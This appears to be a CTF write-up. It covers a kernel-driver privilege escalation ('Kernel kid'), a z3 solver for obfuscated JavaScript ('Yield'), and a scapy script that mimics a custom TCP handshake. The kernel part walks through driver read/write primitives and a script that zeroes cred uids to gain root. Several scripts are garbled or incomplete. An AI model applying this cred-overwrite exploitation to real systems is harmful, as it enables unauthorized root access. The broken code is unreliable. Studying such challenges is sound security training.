This challenge is the continuation of the Baby kernel challenge; our solution involves knowledge from Baby kernel.

Playing around

Running the prompts the following menu:

—– Menu —–

  1. Read
  2. Write
  3. Show me my uid
  4. Read flag
  5. Any hintz?
  6. Bye!

Let’s have a look to what we have for the menu 🙂

Trying to get a hint from 5 option is not giving any clue. Trying 4 option is obviously not working either: Could not open file for reading...

Option 3 is returning our uid :

uid=1000(user) gid=1000(user) groups=1000(user)

As for options 1 (Read) and 2 (Write), they seem to be where things are getting serious. We will get back to them later.

Examining the files

zcat initramfs.cpio.gz | cpio -idmv to extract the initramfs.

> ls:

bin client_kernel_kid etc flag home init lib proc root sys usr var

Note the flag file that is certainly belonging to root.

Let’s open the init file:

#!/bin/busybox sh
# /bin/sysinfo



insmod "/lib/modules/$(uname -r)/kernel_kid.ko"
chmod +rw /dev/flux_kid
chmod +x /client_kernel_kid

sleep 2

su user -c /client_kernel_kid


Let’s ls the /lib/modules directory to discover the kernel version: 5.3.5.

We see there is a custom kernel driver kernel_kid.ko whose file system anchor is /dev/flux_kid.

We see that the init process resolves to be the client_kernel_kid process run as user user which is exactly what we are seeing when printing our uid:

uid=1000(user) gid=1000(user) groups=1000(user)

Decompiling the client_kernel_kid binary (with ghidra) and getting to the menu function gives the following:

  2 int menu_function(void)
  4 {
  5   int user_choice;
  6   ulong flux_fd;
  8   FUN_00401d8b();
  9   flux_fd._0_4_ = open_flux_driver(PTR_s__dev_flux_kid_004ca100,0);
 10   if ((int)flux_fd == -1) {
 11     output_string("Mh?\n");
 12   }
 13   print_menu();
 14   user_choice = get_user_selection();
 15   switch(user_choice) {
 16   default:
 17     output_string("You are not making any sense...");
 18     close_flux_fd((int)flux_fd);
 19     return 0;
 20   case 1:
 21     handle_read((int)flux_fd);
 22     break;
 23   case 2:
 24     handle_write((int)flux_fd);
 25     break;
 26   case 3:
 27     handle_getuid("id");
 28     break;
 29   case 4:
 30                     /* 4. Read The Flag */
 31     The_Flag_Func();
 32     break;
 33   case 5:
 34     FUN_004020b1();
 35     break;
 36   case 6:
 37     close_flux_fd((int)flux_fd);
 38     output_string("Bye!");
 39     return 0;
 40   }
 41 }

Not surprising, the implementation is opening the /dev/flux_kid driver at line 9 and uses it for reading and writing.

Let’s examine the function handle_read which implements the Read option of the menu :

  2 void handle_read(int flux_fd)
  4 {
  5   long lVar1;
  6   ulong offset;
  7   long in_FS_OFFSET;
  8   ulong value;
 10   lVar1 = *(long *)(in_FS_OFFSET + 0x28);
 11   value = 0xdeadbeefdeadbeef;
 12   output_string("Sigh...\n> ");
 13   offset = get_user_selection();
 14   output_string("I hope this will not suck too much...");
 15   flux_driver_read(flux_fd,offset,&value);
 16   FUN_00409920("Alright, alright: %016lx\n",value);
 17   if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
 18                     /* WARNING: Subroutine does not return */
 19     check_stack_integrity();
 20   }
 21   return;
 22 }

We see that the user is prompted to enter a value, stored in variable offset ; then offset is passed to the function flux_driver_read along with an out parameter address, &value. The value is then printed to the screen. Let’s look at the flux_driver_read function:

  1 /* Added while reversing */ 
  2 struct read_arg_t {
  3     unsigned long offset;
  4     unsigned long *p_user_output_val;
  5 }read_arg_t;
  7 void flux_driver_read(int flux_fd, ulong offset, ulong *p_out_value)
  9 {
 10   long lVar1;
 11   long in_FS_OFFSET;
 12   read_arg_t arg;
 14   lVar1 = *(long *)(in_FS_OFFSET + 0x28);
 15   arg.offset = offset;
 16   arg.p_user_output_val = p_out_value;
 17   invoke_flux_ioctl(flux_fd,0x385,&arg);
 18   if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
 19                     /* WARNING: Subroutine does not return */
 20     check_stack_integrity();
 21   }
 22   return;
 23 } 

This function is basically bundling the offset and the value address into a struct read_arg_t and passes it to invoke_flux_ioctl along with the driver file descriptor and a number, 0x385.

Looking at the assembly of invoke_flux_ioctl:

   int __stdcall invoke_flux_ioctl(int fd, ulong req, ...)

        004501f0 f3 0f 1e fa     ENDBR64
        004501f4 b8 10 00        MOV        EAX,0x10
                 00 00
        004501f9 0f 05           SYSCALL
        004501fb 48 3d 01        CMP        RAX,0xfffff001
                 f0 ff ff
        00450201 73 01           JNC        LAB_00450204
        00450203 c3              RET

We see that 0x10 is stored in eax and the syscall instruction is invoked. 0x10 is __NR_ioctl, so no doubt, the ioctl operation of the driver is invoked here with request number0x385 and the argument structure address.

Now moving to the Write option of the menu, implemented by the handle_write function:

  2 void handle_write(int flux_fd)
  4 {
  5   ulong offset;
  6   longlong val;
  8   output_string("Oh really...?\n> ");
  9   offset = get_user_selection();
 10   if (offset < 0x10000) {
 11     output_string("Sorry, I am not in for that kind of an adventure...");
 12   }
 13   else {
 14     output_string("What is that all about?\n> ");
 15     val = get_user_selection();
 16     output_string("Please no...");
 17     flux_driver_write(flux_fd,offset,val);
 18     output_string("I cannot believe this.");
 19   }
 20   return;
 21 }

Similarly to the handle_read function, the user input is stored in offset . This time, offset has to be higher or equal to 0x10000 to proceed any further. Once we passed this check, the user is prompted again to enter another value, stored in val. Eventually, offset and val are passed as parameters to the function flux_driver_write which invokes the driver with request 0x386 via invoke_flux_ioctl as in the Read option.

  2 void flux_driver_write(int fd,ulong offset,ulong val)
  4 {
  5   long lVar1;
  6   long in_FS_OFFSET;
  7   ulong __offset;
  9   lVar1 = *(long *)(in_FS_OFFSET + 0x28);
 10   __offset = offset;
 11   invoke_flux_ioctl(fd,0x386,&__offset);
 12   if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
 13                     /* WARNING: Subroutine does not return */
 14     check_stack_integrity();
 15   }
 16   return;
 17 }

We see that nothing is done with the val variable which means its value is not important.

The driver

At this stage, ghidra did not do very well at decompiling the driver, so we moved to use IDA.

Looking into the driver we have the following ioctl implementation:

  1 _int64 __fastcall driver_ioctl(__int64 a1, int req, __int64 value)
  2 {
  3   __int64 result; // rax@4
  5   if ( req == 0x385 )
  6   {
  7     read(value);
  8     result = 0LL;
  9   }
 10   else
 11   {
 12     if ( req == 0x386 )
 13       write(value);
 14     result = 0LL;
 15   }
 16   return result;
 17 }

We recognize the request value 0x385 for read and 0x386 for write.

The read function looks like this:

  1 __int64 __fastcall read(read_arg_t *p_arg)
  2 {
  3   __int64 result; // rax@1
  4   unsigned __int64 v2; // rt1@1
  5   __int64 output_value; // [rsp+0h] [rbp-28h]@1
  6   read_arg_t arg; // [rsp+8h] [rbp-20h]@1
  7   unsigned __int64 v5; // [rsp+18h] [rbp-10h]@1
  9   v5 = __readgsqword(0x28u);
 10   arg.offset = 0LL;
 11   arg.p_user_output_val = 0LL;
 12   output_value = 0LL;
 13   copy_from_user(&arg, p_arg, sizeof(read_arg_t));
 14   output_value = *(__int64 *)((char *)&arg.offset + arg.offset);
 15   copy_to_user(struct1.p_user_output_val, &output_value, 8LL);
 16   v2 = __readgsqword(0x28u);
 17   result = v2 ^ v5;
 18   if ( v2 == v5 )
 19     result = 0LL;
 20   return result;

The important lines are line 14 and 15 :

Line 13 : the user argument bundle is copied to local argument variable arg on the kernel stack

Line 14: the offset value that is passed by the user is added to the kernel **address ** of arg i.e. &arg. The resulting address is dereferenced and copied back to the user at line 15. This is equivalent semantically to:

char *p = (char *)&arg;
output_value = p[arg.offset]

This makes clear that the read function actually gives a read that is relative to the address of arg on the kernel stack.

We can experiment for instance with offset 40:

----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read flag
5. Any hintz?
6. Bye!
> 1
I hope this will not suck too much...
Alright, alright: ffffffffc01d41a3

Let’s try with 505:

----- Menu -----
1. Read
2. Write
3. Show me my uid
4. Read flag
5. Any hintz?
6. Bye!
> 1  
I hope this will not suck too much...

This time the kernel crashed. The instruction that crashes is probably the copy_from_user: we copy 16 bytes, if we add the first 8 bytes to 505 we obtain 513 which 1 byte passed 512 (0x200). In other word, we apparently hit one end of the kernel stack.

As for the write function:

 1 __int64 __fastcall write(__int64 user_value)
  2 {
  3   __int64 result; // rax@1
  4   unsigned __int64 v2; // rt1@1
  5   __int64 kernel_value; // [rsp+0h] [rbp-20h]@1
  6   __int64 zero; // [rsp+8h] [rbp-18h]@1
  7   unsigned __int64 v5; // [rsp+10h] [rbp-10h]@1
  9   v5 = __readgsqword(0x28u);
 10   kernel_value = 0LL;
 11   zero = 0LL;
 12   copy_from_user(&kernel_value, user_value, 16LL);
 13   *(__int64 *)((char *)&kernel_value + kernel_value) = zero;
 14   v2 = __readgsqword(0x28u);
 15   result = v2 ^ v5;
 16   if ( v2 == v5 )
 17     result = 0LL;
 18   return result;

Pretty much the same logic that in the read function: the user input is interpreted as an offset that is added to a reference kernel address on the stack and a zero is written at the resulting address:

*(__int64 *)((char *)&kernel_value + kernel_value) = zero;

So to conclude, we have a read primitive that provides a relative read on the kernel stack based on an offset passed by the user and a write primitive that provides a relative zero write on the kernel stack, using a user offset as well.


The plan is the following:

  1. Using the read primitive, find the address of the task_struct of the current process,
  2. Using the read primitive, find the address of the cred,
  3. Using the write primitive, overwrite all the uids and gid with in the cred with 0,
  4. Invoke the “Read flag” option in the menu as root

Since we write relatively to arg, we first need to find its address , &arg . In order to understand why, let’s looking again at the line that is actually getting the value from the stack:

 14   output_value = *(__int64 *)((char *)&arg.offset + arg.offset);

The only input we have is arg.offset . Suppose we want to read the value at kernel address kaddr, we could achieve this by passing the offset kaddr - &arg.offset. Then the above expression resolves to:

14    output_value = *(__int64 *)((char *)&arg.offset + kaddr - &arg.offset);

Or in other word:

output_value = *(__int64 *)((char *)kaddr)

Which is exactly what we want.

To determine &arg, we first need to find an address on the stack. We can use kernel stack addresses we know from the Baby kernel riddle to know how a stack address looks like or alternatively, we could search for kernel addresses that look like linked list addresses of stack frame (the difference between two values is less than a page and the alignment matches). We find such an address at offset 0x120, let’s call it x.

Now we use the fact that offset 0x200 hits one end of the stack to find &arg. First find the page address of x : page_address = x & ~0xfff and then take as assumption that the crash happened at the page boundary, we have &args + 0x200 = page_address + 0x1000


&args = page_address + 0x1000 - 0x200 = page_address + 0xe00

Let’s start coding a python script:

#Python script

x = read_value_at(0x120)
arg_addr = (x & ~0xfff) + 0xe00

We next find the task_struct address based on our knowledge of how a task_struct address looks like in the Baby kernel riddle. We find it at offset 0xf0.

task_struct = read_value_at(0xf0)

Now moving to find the cred pointer.

We know that the cred pointer in task_struct should appear twice with the same value (real_cred and cred), not pointing inside the task_struct. Note that this kernel has randomized layout (see the end of the definition) ,meaning that the fields real_cred and cred are not necessarily sequentially ordered. With thus need to search within a sufficient large range.

111 struct cred {
112     atomic_t    usage;
114     atomic_t    subscribers;    /* number of processes subscribed */
115     void        *put_addr;
116     unsigned    magic;
117 #define CRED_MAGIC  0x43736564
118 #define CRED_MAGIC_DEAD 0x44656144
119 #endif
120     kuid_t      uid;        /* real UID of the task */
121     kgid_t      gid;        /* real GID of the task */
122     kuid_t      suid;       /* saved UID of the task */
123     kgid_t      sgid;       /* saved GID of the task */
124     kuid_t      euid;       /* effective UID of the task */
125     kgid_t      egid;       /* effective GID of the task */
126     kuid_t      fsuid;      /* UID for VFS ops */
127     kgid_t      fsgid;      /* GID for VFS ops */
128     unsigned    securebits; /* SUID-less security management */
129     kernel_cap_t    cap_inheritable; /* caps our children can inherit */
130     kernel_cap_t    cap_permitted;  /* caps we're permitted */
131     kernel_cap_t    cap_effective;  /* caps we can actually use */
132     kernel_cap_t    cap_bset;   /* capability bounding set */
133     kernel_cap_t    cap_ambient;    /* Ambient capability set */
134 #ifdef CONFIG_KEYS
135     unsigned char   jit_keyring;    /* default keyring to attach requested
136                      * keys to */
137     struct key  *session_keyring; /* keyring inherited over fork */
138     struct key  *process_keyring; /* keyring private to this process */
139     struct key  *thread_keyring; /* keyring private to this thread */
140     struct key  *request_key_auth; /* assumed request_key authority */
141 #endif
143     void        *security;  /* subjective LSM security */
144 #endif
145     struct user_struct *user;   /* real user ID subscription */
146     struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
147     struct group_info *group_info;  /* supplementary groups for euid/fsgid */
148     /* RCU deletion */
149     union {
150         int non_rcu;            /* Can we skip RCU deletion? */
151         struct rcu_head rcu;        /* RCU deletion hook */
152     };
153 } __randomize_layout;

Using the read primitive we search within our task_struct the offset of all kernel pointers and select those that appear twice:

#Since stack_addr is the origin, we need to substract it
current_data = [read_value_at(task_struct + i - arg_addr) for i in range(0, 0xa00, 8)]

ptrs = {}

for i, pt in enumerate(current_data):
    if (pt>>48) == 0xFFFF and current_data.count(pt) == 2:
        ptrs[pt] = i

Now iterate through the cred candidates by step of 8 bytes and search for anything looking like our uid (1000) and use the write primitive to overwrite it with a 0, getting us to be root. And finally, read the flag as root.

for pt in ptrs.keys():
    for i in range(0, 0x100, 8):
        val = read_value_at(pt - arg_off + i)
        print("%x (%d): %x" %(pt + i, ptrs[pt], val))
        if (val >> 32 == 1000):
            write_value_at(pt - arg_off + i)

#check we are root            
#getting the flag

Note the call to write_value_at() in the script: we assumed that the stack base address from where we write is located at the same offset in the page as in the read case. This appears to be true.

In this script output, you can see that the value 1000 (uid) is found at various offsets from the address *(task_struct + 44) ; however those offsets are not consecutive: this is the effect of the randomized layout.

Let’s finally look at the script output:

stack at ffffaed3c00b3e00<br>
task_struct at ffff94f68311c800

uid=1000(user) gid=1000(user) groups=1000(user)
ffff924f4211b620 (5): ffff924f4211b620<br>
    ffff924f4211b628 (5): ffff924f4211b620<br>
    ffff924f4211b630 (5): 0<br>
    ffff924f4211b638 (5): ffff924f40071d80<br>
    ffff924f4211b640 (5): ffff924f4210d6c0<br>
    ffff924f4211b648 (5): 0<br>
    ffff924f4211b650 (5): 1<br>
    ffff924f4211b658 (5): ffff924f421184c0<br>
    ffff924f4211b660 (5): ffff924f421184c0<br>
    ffff924f4211b668 (5): bb192e36<br>
    ffff924f4211b670 (5): 0<br>
    ffff924f4211b678 (5): ffff924f4211b678<br>
    ffff924f4211b680 (5): ffff924f4211b678<br>
    ffff924f4211b688 (5): ffff924f4211b688<br>
    ffff924f4211b690 (5): 0<br>
    ffff924f4211b698 (5): 0<br>
    ffff924f4211b6a0 (5): 0<br>
    ffff924f4211b6a8 (5): 0<br>
    ffff924f4211b6b0 (5): 0<br>
    ffff924f4211b6b8 (5): 0<br>
    ffff924f4211b6c0 (5): 0<br>
    ffff924f4211b6c8 (5): 0<br>
    ffff924f4211b6d0 (5): 0<br>
    ffff924f4211b6d8 (5): 0<br>
    ffff924f4211b6e0 (5): ffff924f4211b6e0<br>
    ffff924f4211b6e8 (5): 0<br>
    ffff924f4211b6f0 (5): 0<br>
    ffff924f4211b6f8 (5): 0<br>
    ffff924f4211b700 (5): 0<br>
    ffff924f4211b708 (5): ffffffff9745f460<br>
    ffff924f4211b710 (5): ffffffff97e44740<br>
    ffff924f4211b718 (5): 0<br>
    ffff924f4210d6c0 (44): 3fffffffff<br>
    ffff924f4210d6c8 (44): ffffffff97e40ae0<br>
    ffff924f4210d6d0 (44): 0<br>
    ffff924f4210d6d8 (44): 0<br>
    ffff924f4210d6e0 (44): 43736564<br>
    ffff924f4210d6e8 (44): 3e8  <---- This 1000<br>
    ffff924f4210d6f0 (44): 0<br>
    ffff924f4210d6f8 (44): ffff924f42127b80<br>
    ffff924f4210d700 (44): ffff924f40091720<br>
    ffff924f4210d708 (44): 2<br>
    ffff924f4210d710 (44): 0<br>
    ffff924f4210d718 (44): 3e800000000<br>
    ffff924f4210d720 (44): 0<br>
    ffff924f4210d728 (44): 3000003e8<br>
    ffff924f4210d730 (44): 3e8000003e8<br>
    ffff924f4210d738 (44): 3e8000003e8<br>
    ffff924f4210d740 (44): 0<br>
    ffff924f4210d748 (44): 3e8 <----------- This 1000<br>
    ffff924f4210d750 (44): 0<br>
    ffff924f4210d758 (44): 0<br>
    ffff924f4210d760 (44): 0<br>
    ffff924f4210d768 (44): 0<br>
    ffff924f4210d770 (44): 0<br>
    ffff924f4210d778 (44): 0<br>
    ffff924f4210d780 (44): 7858641e66cbc03c<br>
    ffff924f4210d788 (44): 0<br>
    ffff924f4210d790 (44): 0<br>
    ffff924f4210d798 (44): 0<br>
    ffff924f4210d7a0 (44): 0<br>
    ffff924f4210d7a8 (44): 0<br>
    ffff924f4210d7b0 (44): 0<br>
    ffff924f4210d7b8 (44): 0

uid=0(root) gid=0(root) groups=1000(user)

   Here are your 0x23 bytes of the flag: 

The flag is flag{why_are_y0u_not_talking_to_me} 

Yield (reversing)

The challenge is an HTML file called index.html, which contains obfuscated and minified Javascript. When browsing the page we receive 34 prompts and after trying to enter some different strings they all lead to the same skull unicode character being displayed to the user.

After passing it to a beautifier we see the script is composed of several components. All variable and function names are different capitalization permutations of the word “yield”. In some of the screenshots the variables were renamed for clarity. The script parts:

  1. 4 consts which equal this, 0, 1 and 2 respectively
  • A dictionary yiElD which has keys again with different yield permutations, with values that are Javascript keywords / functions / property names like “function”, “forEach” etc.
  • An array which will be used as a stack for passing parameters, described later.
  • A generator yiELd which:
    • Receives a function and number of arguments for that function
    • Pops the arguments for the received function (number is known from second argument) by pushing the return value of yield statement into a local array.
    • Calls the received function object with the expanded argument list received via … operator.
    • Returns the return value from the called received function via yield if it is non-void.

So essentially a relayer from yield-based parameter passing to traditional parameter passing.

  • A dictionary containing 17 generators and 4 lambdas. The lambdas are four Javascript functions: String.fromCodePoint, codePointAt, prompt and alert, each passed to the yield relayer at 4 with the respective number of arguments it receives. The rest of the functions receive variables via yield statements and perform different actions such as bitwise or, subtraction, shifting and so on, then output their return value via yield.
  • An array with about 2800 elements, which are either one of the yield functions from above or constants.
  • Call forEach on the array which does the follows:
    • If the element is a function, call it (it will be a generator function) and call next() on it to reach the first yield
    • as long as the generator is not done and there no return value, call next() on the generator with an argument popped from the top of the stack.
    • While generator is not done and the next() return value is defined, push the value on the stack.
    • If the element is not a function, just push it on the stack

Below is the de-obfuscated forEach:

To summarize what the script is doing, it implements a stack machine which runs a series of instructions. DATA instructions store an element on the stack, FUNCTION instructions are called and passed parameters from the stack via next() and the return values are stored on the stack. Our goal is to find the logic implemented by the specific instruction array and probably make it output a different message than a skull.

The instruction array has several stages, below is the pseudo-code:

[[-95, 31, 58, -19, -87, -51, 71, 72, -9, 79, 33, -35, -21, 42, 13, -70, -5309],[64, 100, -27, 66, 22, 68, -21, -2, 26, 74, 48, 93, 68, -79, 69, 92, 63804],[49, 56, -75, 16, -79, 21, -5, 27, -7, 27, 50, -3, 13, -39, 2, 91, 11382],[82, 40, 15, 31, 56, 78, -6, 55, -53, 81, -42, 24, -15, 80, 46, -50, 42834],[-49, -92, -1, -83, -18, -87, -78, -58, -52, 39, 46, -67, -48, -79, -95, 98, -4613],[39, 69, 25, -28, -44, 58, 87, -10, 0, -29, 18, -44, -25, 23, 3, -1, 11286],[-79, 70, -70, 10, 10, -11, -79, -17, -11, 37, -30, 62, -27, -69, -49, 58, -12031],[35, -59, -41, -80, 53, -55, 21, -88, 88, 72, -19, -57, -85, -72, -60, -35, -29429],[100, 49, 98, -60, 33, 95, 51, -21, -94, -13, -43, -93, 70, -13, 11, 62, 24097],[-75, -81, 29, -89, -79, 60, -16, -59, 67, -85, 51, -13, 18, -44, -13, -56, -42878],[-53, 75, -74, -71, -53, 28, -36, -79, 5, -61, -61, 3, 50, -58, 50, 80, -21351],[-68, 94, 100, -75, 56, 96, 40, 84, -46, -13, 72, 29, 67, -20, 0, -6, 32963],[98, 35, 61, -95, -29, 71, -3, -5, -73, -11, 46, -91, -19, 67, 98, 10, 15523],[22, -10, 77, -63, -1, -46, 65, 31, -17, -37, -74, 32, 10, 80, -56, -46, -6633],[-34, 28, 61, 85, -65, 62, -46, 53, -28, 54, 44, 26, -93, 18, -15, -8, 14673],[20, -9, -80, -41, -18, -90, -51, 85, 12, -3, -28, -48, -98, -4, 57, -98, -33143]]
SUBTRACTORS = [ -182857,  -207457,  -205769, -149913,  -221729 ]
XOR_LIST = [ 89, 11025, 328509, 33362176, 10000000000, 1291467969, 42618442977, 59604644775390625]
input -> (p1, p2, …, p16)
or_sum = 0
counter = 0
for each tuple (q1, q2..q16, subtractor) in TUPLES:
for each index 1..16:
                        counter += p[index] * q[index]
or_sum |= subtractor – counter
input -> ((t11, t12), (t21,t22), (t31,t32), (t41,t42), (t51,t52))
for (t1, t2) in ((t11, t12), (t21,t22), (t31,t32), (t41,t42), (t51,t52)):
or_sum |= (((t1 << 8) | t2 ) << 4) / 2 - ~- SUBTRACTORS[index]
input -> (b1, b2, …, b8)
for b in (b1, b2, …, b8):
            or_sum |= (b pow index) ^ XOR_LIST[index]  
if or_sum == 0:
            print ‘HAPPY’
            print ‘SKULL’

It is worth showing some of the generator functions used to implement the stack machine.

function* dup_yield(arg) {
        arg = yield, yield(arg_copy), yield(arg_copy)
function* swap_yield(arg1, arg2) {
        arg1 = yield, arg2 = yield, yield(arg1), yield(arg2)
function* from_arr_end_yield() {
        yield(stack[stack['length'] – 1 - (yield)])

Swap_yield swaps the two variables on top of the stack as they are pushed from top to bottom and are plopped out from bottom to top.

From_arr_end_yield fetches variables from elements in arbitrary depth on the stack

We can write a solver using z3 which will give us the input 16 + 10 + 8 bytes to the different stages that will result in or_sum = 0. Below we will discuss the solver script we coded:

The first stage requires solving a system of 16 linear equations.

While SMT solvers aren’t the sharpest tools in the shed when it comes to linear algebra (compared to Sage or MATLAB), we used z3 either way, being our go-to tool for constraint solving.

import z3
def dot_product(lhs_vec, rhs_vec):
    assert len(lhs_vec) == len(rhs_vec)
    dp = z3.BitVecVal(0, BIT_SIZE)
    for lhs, rhs in zip(lhs_vec, rhs_vec):
        dp += lhs * rhs
    return dp
def stage1():
    inputs = z3.BitVecs('s1_1 s1_2 s1_3 s1_4 s1_5 s1_6 s1_7 s1_8 s1_9 s1_10 s1_11 s1_12 s1_13 s1_14 s1_15 s1_16', BIT_SIZE)
    consts = (
        [-95, 31, 58, -19, -87, -51, 71, 72, -9, 79, 33, -35, -21, 42, 13, -70],[64, 100, -27, 66, 22, 68, -21, -2, 26,
74, 48, 93, 68, -79, 69, 92],[49, 56, -75, 16, -79, 21, -5, 27, -7,
27, 50, -3, 13, -39, 2, 91],[82, 40, 15, 31, 56, 78, -6, 55, -53,
81, -42, 24, -15, 80, 46, -50],[-49, -92, -1, -83, -18, -87, -78, -58,
-52, 39, 46, -67, -48, -79, -95, 98],[39, 69, 25, -28, -44, 58, 87, -10, 0,-29, 18, -44, -25, 23, 3, -1],[-79, 70, -70, 10, 10, -11, -79, -17, -11, 37, -30, 62, -27, -69, -49, 58],        [35, -59, -41, -80, 53, -55, 21, -88, 88, 72, -19, -57, -85, -72, -60, -35],        [100, 49, 98, -60, 33, 95, 51, -21, -94, -13, -43, -93, 70, -13, 11, 62],        [-75, -81, 29, -89, -79, 60, -16, -59, 67, -85, 51, -13, 18, -44, -13, -56],        [-53, 75, -74, -71, -53, 28, -36, -79, 5, -61, -61, 3, 50, -58, 50, 80],        [-68, 94, 100, -75, 56, 96, 40, 84, -46, -13, 72, 29, 67, -20, 0, -6],        [98, 35, 61, -95, -29, 71, -3, -5, -73, -11, 46, -91, -19, 67, 98, 10],        [22, -10, 77, -63, -1, -46, 65, 31, -17, -37, -74, 32, 10, 80, -56, -46],        [-34, 28, 61, 85, -65, 62, -46, 53, -28, 54, 44, 26, -93, 18, -15, -8],        [20, -9, -80, -41, -18, -90, -51, 85, 12, -3, -28, -48, -98, -4, 57, -98])
    sums = (        -5309,        63804,        11382,        42834,        -54613,        11286,        -12031,        -29429,        24097,        -42878,        -21351,        32963,        15523,        -6633,        14673,        -33143,    )
    assert len(inputs) == len(consts) == len(sums)
    s = z3.Solver()
    for i in range(len(inputs)):
        s.add(dot_product(inputs, consts[i]) == sums[i])
    m = s.model()
    for i in range(len(inputs)):
        yield chr(m[inputs[i]].as_long())
print ''.join(stage1())

The second stage requires solving a small set of constraints for pairs of flag-characters.

There’s some educational merit in solving this manually (each bit-wise operation used is trivially inversible, so it’s mostly grunt work) — but z3 is the perfect tool for the task at hand.

import z3
def stage2():
    consts = (-182857, -207457, -205769, -149913, -221729)
    inputs = z3.BitVecs("s2_1 s2_2 s2_3 s2_4 s2_5 s2_6 s2_7 s2_8 s2_9 s2_10", BIT_SIZE)
    s = z3.Solver()
    for i in range(len(inputs) / 2):
        inp1, inp2 = inputs[i*2], inputs[i*2 + 1]
        s.add (((((inp1 << 8) | inp2) << 4) / 2) == ~consts[i])
    m = s.model()
    for i in range(len(inputs)):
        print m
        yield chr(m[inputs[i]].as_long() & 0x7F)
print ''.join(stage2())

The third stage is solved by computing the n-th root of each of the constants.

def stage3():
    for idx, n in enumerate((89, 11025, 328509, 33362176, 10000000000, 1291467969, 42618442977, 59604644775390625)):
        exp = 1.0 / (idx + 1)
        base = n ** exp   # exp is 1/2, 1/3, 1/4, …
        yield chr(int(round(base)))
print ''.join(stage3())

After running the solver we append the results of the three stages and receive the flag:


Futuristic communications (misc)

Communication in the future is a big thing. With the rising amount of data in the internet new handshake techniques are required. Here is my implementation, where I can identify who did request which resources.

In this challenge we receive a PCAP file from a custom authentication procedure between a client device and a server. Our goal is to mimic the different handshake stages and once logged in, request the flag, as can be seen in the sniff.

The first stage is a standard TCP connection to port 1337 on the target IP which is given in the challenge description. Over this connection we receive a welcome message and two parameters – our generated client UUID and a port to connect to.

Next, we need to send a SYN packet to the received port number with the packet contents being our UUID (a kind of port knock). Server sends a RST/ACK for this SYN and sends two new parameters on the 1337 socket – a new port (we will call it future port) and an initial sequence number.

At this point we start exchanging messages over the future port using a TCP variant. The first packet is a SYN where the sequence number equals the one received previously, ack is zero as in TCP, and content is UUID as previously. In response there is both a RST/ACK which we can ignore and a SYN/ACK. The SYN/ACK is unusual because it mirrors our SEQ (TCP sequence number) to the server’s SEQ and sends an ACK which is a number slightly lower than the SEQ. The gap is 24 in the sample connection but on every connection, it is a randomized small number. In response to SYN/ACK we send an ACK with SEQ = received ACK, ACK = received SEQ, as per usual TCP.

Now we receive a command menu on the 1337 connection – there are three commands: “synchronize”, “privileged” and “flag”. The goal is to first synchronize with the server, then use “privileged” to elevate our permissions and finally send “flag” to receive the challenge flag.

In order to synchronize with the server, client needs to send “synchronize” messages until SEQ=ACK. In the future protocol, in the “synchronize” stage sequence number increments by 1 every packet, so we loop SEQ-ACK times and send “synchronize” as data in SYN packets, ACK stays the same (equals the received SEQ, which is our initial sent SEQ), SEQ increments. Once we have caught up to the future, SEQ=ACK, all that is left is to send “privileged” and “flag” commands to capture the flag. Both of them are again SYN packets, the content is the message name and SEQ=ACK. Finally, we receive the flag on the standard 1337 connection.

For the implementation we used scapy to send custom TCP SEQ and ACK values, tcpdump to capture the SYN/ACK and just pasted the seq and ack values from the capture into the script. Receiving the SYN/ACK in scapy was buggy presumably because scapy couldn’t identify the connection between our SYN and the SYN/ACK as it is a custom handshake, and layer 2 sniffing just didn’t work.

We ended up wasting several hours thinking our future SYN was incorrect because server didn’t send SYN/ACK. The problem was in fact that we were using a host behind NAT so after the RST/ACK we were no longer able to receive any packets destined to the NAT-ed port. Luckily a team member was able to run the python script from his public IP box.

future solution

from scapy.all import *
import sys
import socket
from time import sleep
import re

hostname = ""
port = 1337 

while True:
     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     sock.connect((hostname, port))
     data_in = sock.recv(256)
     token = data_in.split(b"\n")[1].split(b": ")[1]
     tcp_port0 = int(data_in.split(b"\n")[2].split(b" ")[-1])
     ip = IP(dst="")
     tcp = TCP(sport=23995,dport=tcp_port0, flags="S")
     data = token
     data_in = sock.recv(256)
     data_in = sock.recv(256)
     #for i in range(0x10000):
     #sport = i
     tcp_port = int(data_in.split(b",")[1].split(b" ")[-1])
     seq_number = int(data_in.split(b",")[2].split(b" ")[-1])
     ip = IP(dst="")
     tcp = TCP(sport=37614,dport=tcp_port, flags="S", seq=seq_number)
     print("token: {0},first tcp port:{1},hex:{2},second tcp port:{3},hex:{4}sequence number:{5}".format(data, tcp_port0, hex(tcp_port0),tcp_port, hex(tcp_port), seq_number))
     print ("Sending packet with SEQ as requested")
     #packets=sniff(filter="host %s" % hostname, count=1)

while True:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((hostname, port))
data_in = sock.recv(256)
token = data_in.split(b"\n")[1].split(b": ")[1]
tcp_port0 = int(data_in.split(b"\n")[2].split(b" ")[-1])
ip = IP(dst="")
tcp = TCP(sport=23995,dport=tcp_port0, flags="S")
data = token
data_in = sock.recv(256)
data_in = sock.recv(256)
#for i in range(0x10000):
#sport = i
tcp_port = int(data_in.split(b",")[1].split(b" ")[-1])
seq_number = int(data_in.split(b",")[2].split(b" ")[-1])
ip = IP(dst="")
tcp = TCP(sport=37614,dport=tcp_port, flags="S", seq=seq_number)
print("token: {0},first tcp port:{1},hex:{2},second tcp port:{3},hex:{4}sequence number:{5}".format(data, tcp_port0, hex(tcp_port0),tcp_port, hex(tcp_port), seq_number))
print ("Sending packet with SEQ as requested")
#packets=sniff(filter="host %s" % hostname, count=1)

line = input("Give me tcpdump: ")
 m ="seq (\d+), ack (\d+)", line)
 if not m:



tcp = TCP(sport=37614, dport=tcp_port, flags="A", seq=ack, ack=seq)
 print ("Sending ACK")

data_in = sock.recv(256)
 print("From 1337:", data_in)

for i in range(seq-ack):
tcp = TCP(sport=37614, dport=tcp_port, flags="S", seq=ack+i, ack=seq)
print ("Sending packet #%d synchronize"% i)
data_in = sock.recv(256)
print("From 1337:", data_in)
 tcp = TCP(sport=37614, dport=tcp_port, flags="S", seq=seq, ack=seq)
 print ("Sending packet privileged")

data_in = sock.recv(256)

tcp = TCP(sport=37614, dport=tcp_port, flags="S", seq=seq, ack=seq)
 print ("Sending packet flag")

data_in = sock.recv(256)
 data_in = sock.recv(256)

Parasite Validator

Challenge Description

